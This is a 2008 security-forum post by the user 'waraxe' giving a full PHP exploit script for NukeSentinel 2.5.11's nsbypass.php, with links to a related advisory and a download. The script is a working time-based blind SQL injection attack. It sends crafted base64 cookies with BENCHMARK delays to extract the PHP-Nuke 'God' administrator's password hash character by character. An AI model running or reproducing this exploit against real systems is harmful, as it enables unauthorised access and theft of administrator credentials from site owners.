 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| |
|
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9145
 People Online:
 Visitors: 425
 Members: 0
 Total: 425
|
|
|
|
|
|
PacketStorm News |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
NukeSentinel 2.5.11 blind fishing exploit |
|
 Posted: Wed Apr 23, 2008 3:51 pm |
 |
|
| waraxe |
| Site admin |
 |
| |
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
 |
|
 |
|
Related to old waraxe-SA-53:
http://www.waraxe.us/advisory-53.html
| Code: |
<?php
error_reporting(E_ALL);
$norm_delay = 0;
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// NukeSentinel 2.5.11 "nsbypass.php" sql injection blind fishing exploit
// written by Janek Vind "waraxe"
// http://www.waraxe.us/
// 23. april 2008
//
// This exploit will fetch phpnuke God admin password's md5 hash
// Ref: waraxe-2007-SA#053
// http://www.waraxe.us/advisory-53.html
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$url = 'http://localhost/phpnuke.7.9/includes/nsbypass.php';
$outfile = './attack_log.txt';// Log file
$testcnt = 300000;// Use bigger numbers, if server is slow, default is 300000
//======================================================================
echo "Target: $url\n";
echo "testing probe delays \n";
$norm_delay = get_normdelay($testcnt);
echo "normal delay: $norm_delay deciseconds\n";
$hash = get_hash();
add_line("Target: $url");
add_line("God admin password md5 hash: $hash");
echo "\nWork finished\n";
echo "Questions and feedback - http://www.waraxe.us/ \n";
die("See ya! :) \n");
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
function get_hash()
{
$len = 32;
$out = '';
echo "finding hash now ...\n";
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_hashchar($i);
echo "got hash pos $i --> $ch\n";
$out .= "$ch";
echo "current value for hash: $out \n";
}
echo "\nFinal result: hash=$out\n\n";
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($pos)
{
global $testcnt;
$char = '';
$cnt = $testcnt * 4;
$ipattern = "' OR `name`='God' AND IF(ORD(SUBSTRING(`pwd`,$pos,1))%s,BENCHMARK($cnt,MD5('waraxe')),3)/*";
// First question: is it number or letter
$inj = sprintf($ipattern, ">57");
$b64 = urlencode(base64_encode("$inj:x"));
$cookie = "admin=$b64;";
$letter = test_condition($cookie);
if($letter)
{
$min = 97;
$max = 102;
echo "char to find is [a-f]\n";
}
else
{
$min = 48;
$max = 57;
echo "char to find is [0-9]\n";
}
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$inj = sprintf($ipattern, "=$max");
$b64 = urlencode(base64_encode("$inj:x"));
$cookie = "admin=$b64;";
$eq = test_condition($cookie);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}
$half = intval(floor($area / 2));
$curr = $min + $half;
$inj = sprintf($ipattern, ">$curr");
$b64 = urlencode(base64_encode("$inj:x"));
$cookie = "admin=$b64;";
$bigger = test_condition($cookie);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
echo "curr: $curr--$max--$min\n";
}
return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($c)
{
global $url, $norm_delay;
$bret = false;
$maxtry = 10;
$try = 1;
while(1)
{
$start = getmicrotime();
$buff = make_get($url, $c, '', true);
$end = getmicrotime();
if(strpos($buff, 'Location:') !== false)
{
break;
}
else
{
echo "test_condition() - try $try - invalid return value ...\n";
$try ++;
if($try > $maxtry)
{
die("too many tries - exiting ...\n");
}
else
{
echo "trying again - try $try ...\n";
sleep(3);
}
}
}
$diff = $end - $start;
$delay = intval($diff * 10);
if($delay > ($norm_delay * 2))
{
$bret = true;
}
return $bret;
}
///////////////////////////////////////////////////////////////////////
function get_normdelay($testcnt)
{
$fa = test_md5delay(1);
echo "$fa\n";
sleep(1);
$sa = test_md5delay($testcnt);
echo "$sa\n";
sleep(1);
$fb = test_md5delay(1);
echo "$fb\n";
sleep(1);
$sb = test_md5delay($testcnt);
echo "$sb\n";
sleep(1);
$fc = test_md5delay(1);
echo "$fc\n";
sleep(1);
$sc = test_md5delay($testcnt);
echo "$sc\n";
$mean_nondelayed = intval(($fa + $fb + $fc) / 3);
echo "mean nondelayed - $mean_nondelayed dsecs\n";
$mean_delayed = intval(($sa + $sb + $sc) / 3);
echo "mean delayed - $mean_delayed dsecs\n";
return $mean_delayed;
}
///////////////////////////////////////////////////////////////////////
function test_md5delay($cnt)
{
global $url;
$cnt = intval($cnt);
// delay in deciseconds
$delay = -1;
$aid = "' OR IF(1,BENCHMARK($cnt,md5('waraxe')),1)/*";
$b64 = base64_encode("$aid:x");
$cookie = "admin=$b64;";
$start = getmicrotime();
$buff = make_get($url, $cookie, '', true);
$end = getmicrotime();
$diff = $end - $start;
$delay = intval($diff * 10);
return $delay;
}
///////////////////////////////////////////////////////////////////////
function getmicrotime()
{
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}
///////////////////////////////////////////////////////////////////////
function make_get($url, $cookie = '', $referer = '', $headers = FALSE)
{
$ch = curl_init();
$timeout = 120;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)');
if(!empty($cookie))
{
curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
}
if(!empty($referer))
{
curl_setopt ($ch, CURLOPT_REFERER, $referer);
}
if($headers === TRUE)
{
curl_setopt ($ch, CURLOPT_HEADER, TRUE);
}
else
{
curl_setopt ($ch, CURLOPT_HEADER, FALSE);
}
$fc = curl_exec($ch);
curl_close($ch);
return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($buf)
{
global $outfile;
$buf .= "\n";
$fh = fopen($outfile, 'ab');
fwrite($fh, $buf);
fclose($fh);
}
///////////////////////////////////////////////////////////////////////
?>
|
Downloadable version:
http://www.waraxe.us/tools/nsaxe.zip
 |
|
|
|
|
|
www.waraxe.us Forum Index -> PhpNuke
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
